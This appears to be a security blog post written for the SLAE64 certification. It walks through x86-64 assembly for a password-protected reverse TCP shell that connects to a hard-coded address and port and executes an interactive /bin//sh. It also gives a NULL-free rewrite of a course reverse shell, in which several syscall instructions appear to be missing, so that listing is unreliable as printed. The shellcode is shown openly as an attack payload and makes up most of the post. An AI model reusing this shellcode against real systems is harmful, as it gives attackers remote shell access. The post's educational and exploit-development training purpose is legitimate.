Skip to main content

SLAE64 - Assignment 2

This is the second blog in the SLAE64 series as part of the certification challenge. If you want to read the previous post first, I provided a link below.

Previous Posts:

For this assignment, we had the following requirements:
  • Create a Shell_Reverse_TCP Shellcode
    • Reverse connects to configured IP and Port
    • Needs a "Passcode"
    • If Passcode is correct then Execs Shell
  • Remove 0x00 from the Reverse TCP Shellcode discussed

So, like assignment one, we need to accomplish something similar but this time instead of a Bind Shell, we'll need to make a Reverse TCP Shell. We'll also need to modify the Reverse Shell provided in the class to remove NULL bytes. The full code can be found on GitHub here:

Supplemental scripts used for various purposes can be found here:

Similar to Assignment 1 we'll start off by creating a socket with the define __NR_socket 41 system call. In order to eliminate NULL bytes, we have to initialize all of the registers we'll need to make the system call properly. We do this with the XOR instruction using the register as the first and second operand. Once our registers are initialized properly to avoid NULL bytes, we use the MOV instruction to copy 0x29 into AL. We'll use the ADD instruction to set up the rest of the registers to hold the values of AF_INET, SOCK_STREAM, TCP. Once we issue the SYSCALL instruction, we save our SOCKFD value by putting it into RDI. Our socket is now created.

; rev-shell-pass.nasm
; by Michael Born
; Student ID: SLAE64-1439
; November 7, 2016

; purpose: password protected rev shell

global _start

section .text


 ; socket syscall
 ; define __NR_socket 41

 xor rax, rax  ; initialize rax
 mov al, 0x29  ; int socket(int domain, int type, int protocol)
 xor rdi, rdi  ;
 add rdi, 0x2  ; AF_INET
 xor rsi, rsi  ;
 add rsi, 0x1  ; SOCK_STREAM
 xor rdx, rdx  ;
 add rdx, 0x6  ; TCP
 syscall   ; syscall

 ; save socketfd for later

 mov rdi, rax  ; socketfd into rdi

Unlike assignment one, we don't need to bind the socket, listen on the socket, or accept connections. We're building a reverse connection after all. With our socket created, we can now just connect to our listener. For this we'll use the define __NR_connect 42 (0x2a) system call. RAX is initialized with an XOR instruction before 0x2a is copied into AL. 0x2a is hex for 42. RDX is initialized and then 16 is moved into DL. This will be our socklen_t addrlen argument to connect. We then push a NULL byte onto the stack to prepare the const struct sockaddr *addr argument to connect.once the stack is setup using MOV instructions, we adjust the stack 8 bytes and copy the stack address into RSI. RDI already had int sockfd so we can execute our SYSCALL instruction. The last set of instructions initialize R9 in order to hold onto our SOCKFD just in case. This probably isn't necessary but I tend to be overly cautious. If I were writing this for efficient shellcode, as small as possible, I probably wouldn't keep these instructions in.

 ; define __NR_connect 42 (0x2a)
 ; struct sockaddr_in {
 ;      sa_family_t    sin_family address family: AF_INET
        ;      in_port_t      sin_port   port in network byte order 
        ;      struct in_addr sin_addr   internet address

 xor rax, rax    ; initialize rax
 mov al, 0x2a    ; int connect(int sockfd,  
                                                ; const struct sockaddr *addr, socklen_t addrlen)
 xor rdx, rdx    ; initialize rdx
 mov dl, 0x10    ; socklen_t addrlen (16)
 xor rsi, rsi    ; initialize rsi
 push rsi    ; NULL byte
 mov dword [rsp - 0x4], 0x101017f ; IP Addr
 mov word [rsp -0x6], 0x5c11  ; Port 4444
 mov dword [rsp -0xa], esi  ; null byte
 mov byte [rsp - 0x8],  0x2  ; AF_INET
 sub rsp, 0x8    ; readjust stack
 mov rsi, rsp    ; const struct sockaddr *addr
 syscall     ; syscall

 xor r9, r9
 mov r9, rdi

Once we make our connection, we'll get our password set up. This is what we will use for comparison later in the script. We initialize R14 and push it's NULL value onto the stack. We then move our password H4xx0r01 in reverse order into the same register before pushing it onto the stack. Once it's on the stack, we push the stack pointer into the same register for safe keeping since we'll need it later. Finally, we adjust the stack 16 bytes to be sure we don't accidentally overwrite the password on the stack.

With our password setup, we then redirect our SOCKFD to standard in, out, and error with the define __NR_dup2 33 system call. We did the same thing in our Bind Shell script for Assignment 1.


 ; password onto stack in safe place

 xor r14, r14
 push  r14   ; NULL byte onto stack
 mov r14, 0x3130723078783448 ; '10r0xx4H'
 push r14
 mov r14, rsp   ; pointer to password on stack
 sub rsp, 0x10   ; adjust stack 16 bytes so we don't accidentally
                                        ; overwrite our password

        ; define __NR_dup2 33

        xor rax, rax
        mov al, 0x21            ; int dup2(int oldfd, int newfd)
        xor rsi, rsi            ; int newfd (0 for stdin)
        syscall                 ; syscall
        xor rax, rax            ;
        mov al, 0x21            ; int dup2(int oldfd, int newfd)
        inc rsi                 ; int newfd (now 1 for std out)
        syscall                 ; syscall
        xor rax, rax            ;
        mov al, 0x21            ; int dup2(int oldfd, int newfd)
        inc rsi                 ; int newfd (2 for stdout)
        syscall                 ; syscall

After we redirect our SOCKFD, the passprompt: code uses the define __NR_write 1 system call to write a string through the socket. This is totally unnecessary and I just used this for a sense of interactivity. Like the Bind Shell code it will ask the end user for a password. Once our registers are configured for our system call arguments, we execute the system call.


 ; define __NR_write 1
 ; send prompt through socket

 mov rdi, r9
 push byte 0x1
 pop rax     ; ssize_t write(int fd, const void *buf, 
                                                ;     size_t count)
 xor rsi, rsi    ; initialize rsi
 push  rsi    ; push NULL onto the stack
 mov rsi, 0x0a203a64726f7773             ; n\ :drows
 push rsi
 mov rsi, 0x7361502061207265             ; saP a re
 push rsi
 mov rsi, 0x746e452065736165             ;tnE esae
 push rsi
 push word 0x6c50   ; 'lP'
 mov rsi, rsp    ; const void *buf
 xor rdx, rdx    ;
 mov dl, 26    ; size_t count
 syscall     ; syscall

Excellent. This next block of code uses the define __NR_read 0 system call to read in the end user's input. Similar to Assignment 1, we read in 16 bytes and then place the password pointer and the entered password pointer into RDI and RSI so that we can use the CMPSQ to compare the values. If they match, the Zero Flag (ZF) will get set and we redirect program flow to our shelltime label. If it doesn't match the Zero Flag (ZF) is not set and we jump back to our passprompt label to write a string through the socket. This section acts to not only compare the values but provide feedback to the end user that their password was wrong. If it's write, we get a shell.

 ; define __NR_read 0

 xor rax, rax  ; ssize_t read(int fd, void *buf, size_t count)
 xor rsi, rsi  ; 
 push rsi
 lea rsi, [rsp -0x10]  ; pointer to buffer with entered password
 xor rdx, rdx  ; initialize rdx
 add dl, 0x10  ; size_t count
 syscall   ; syscall

 mov rdi, r14  ; password for comparison
 cmpsq   ; compare passwords
 jz shelltime  ; password valid
 jnz passprompt  ; password invalid

This block of code, executes /bin//sh -i via a define __NR_execve 59 system call. This should be pretty straight forward by now as it mimics other system calls we've made in previous blog posts before.


 ; define __NR_execve 59
 ; /bin//sh -i
 ; int execve(const char *filename, char *const argv[], char *const envp[])

 xor rax, rax
 mov al, 0x3b   ; int execve(const char *filename, char *const argv[], 
                                        ; char *const envp[])
 xor rdi, rdi   ; 
 push rdi   ; NULL byte onto stack
 mov rdi, 0x68732f2f6e69622f ; 'hs//nib/'
 push rdi   ; 'hs//nib/' onto stack
 mov rdi, rsp   ; pointer to 'hs//nib/'
 xor rsi, rsi   ; 
 push rsi   ; NULL byte onto stack
 push word 0x692d  ; 'i-'
 xor r10, r10   ;
 mov r10, rsp   ; store rsp temporarily
 push rsi   ; NULL byte
 push r10   ; '-i'
 push rdi   ; 'hs//nib/'
 mov rsi, rsp   ; char *const argv[]
 xor rdx, rdx   ;
 push rdx   ; NULL byte onto stack
 mov rdx, rsp   ; char *const envp[]
 syscall    ; syscall

When we run the code we see that it's 277 bytes long. This is still considerably shorter than our Bind Shell with password.

The next part of the assignment asked us to rewrite the RevShell.nasm from the class scripts so that it didn't have any NULL bytes in it's opcode. The original script by Vivek can be found here:

Here's the adjusted version. Notice we initialize registers and use the smallest register possible for copying values so that we don't accidentally introduce NULL bytes.

; RevShell-adjusted.nasm
; by Michael Born (@blu3gl0w13)
; Student ID: SLAE64-1439
; November 8, 2016
; Original code by:
; Vivek Ramachandran
; SecurityTube

global _start


 ; sock = socket(AF_INET, SOCK_STREAM, 0)
 ; AF_INET = 2
 ; syscall number 41 

 xor rax, rax
 mov al, 41
 xor rdi, rdi
 add dil, 0x2
 xor rsi, rsi
 inc rsi
 xor rdx, rdx

 ; copy socket descriptor to rdi for future use 

 mov rdi, rax

 ; server.sin_family = AF_INET 
 ; server.sin_port = htons(PORT)
 ; server.sin_addr.s_addr = inet_addr("")
 ; bzero(&server.sin_zero, 8)

 xor rax, rax 

 push rax
 mov dword [rsp-4], 0x101017f
 mov word [rsp-6], 0x5c11 ; 4444
 mov dword [rsp -0xa], eax
 mov byte [rsp-8], 0x2
 sub rsp, 8

 ; connect(sock, (struct sockaddr *)&server, sockaddr_len)
 xor rax, rax
 mov al, 42
 mov rsi, rsp
 xor rdx, rdx
 add rdx, 16

        ; duplicate sockets

        ; dup2 (new, old)
 xor rax, rax
 mov al, 33
        xor rsi, rsi

 xor rax, rax
        mov al, 33
        inc rsi

 xor rax, rax
        mov al, 33
        inc rsi

        ; execve

        ; First NULL push

        xor rax, rax
        push rax

        ; push /bin//sh in reverse

 xor rbx, rbx
        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI

        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp

        ; Push address of /bin//sh
        push rdi

        ; set RSI

        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59

To be sure we don't have any NULL bytes, we need to actually dump the opcodes. Once again, we see there are no NULL bytes. Excellent. Mission accomplished.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64-bit certification:

Student ID: SLAE64 - 1439

Next: SLAE64 - Assignment 3


Popular posts from this blog

SLAE/SLAE64 Course Review

  After recently finishing both the SLAE ( ) and SLAE64 ( ) courses available through SecurityTube Training, and earning both certifications, I thought I would write a review of the training itself. Personally, I chose these course as a way to learn Assembly in preparation for the Crack The Perimeter (CTP) course and OSCE certification. After taking the Pentesting With Kali (PWK) class and earning the OSCP, I knew I needed to fill some gaps in my knowledge, and specifically with C and Assembly programming. Seeing that there aren't many training offerings that aim to teach Assembly specific to penetration testing and shellcoding, I gave SLAE a try.   If you don't care about the certification itself, you can obtain all of SecurityTube's videos for a small monthly fee through P

Binary Analysis Cookbook: The Process and Working with Packt

Hello to you, yes you, reading this blog. Thank you for stopping by and I apologize for going silent for a while. Life has been busy in one way or another and unfortunately, this was one area that suffered. Thank you for understanding and please read on. At the end of 2018, I received a LinkedIn message from someone at Packt Publishing inquiring whether I would have any interest in writing a book for them. Naturally, and partly due to my lack of knowledge or experience with the process, I was a bit skeptical. I replied to the e-mail and said I would be interested in finding out more, all while nearly simultaneously I reached out to Packt via their web contact form to verify this person was who she said she was. I mean after all, this kind of thing doesn't normally happen to me and I have done what I can to regain some of my public anonymity following a career in broadcast television.

SLAE64 - Assignment 6

This post is a continuation of a seven (7) part blog series as part of the SLAE64 certification challenge. You can read the previous blog posts using the links below. Previous Posts: SLAE64 - Assignment 1 SLAE64 - Assignment 2 SLAE64 - Assignment 3 SLAE64 - Assignment 4 SLAE64 - Assignment 5 The requirements for Assignment 6 are as follows: Take up 3 shellcodes from shell-storm and create polymorphic versions of them to beat pattern matching The polymorphic versions cannot be larger 150% of the existing shellcode Bonus points for making it shorter in length than original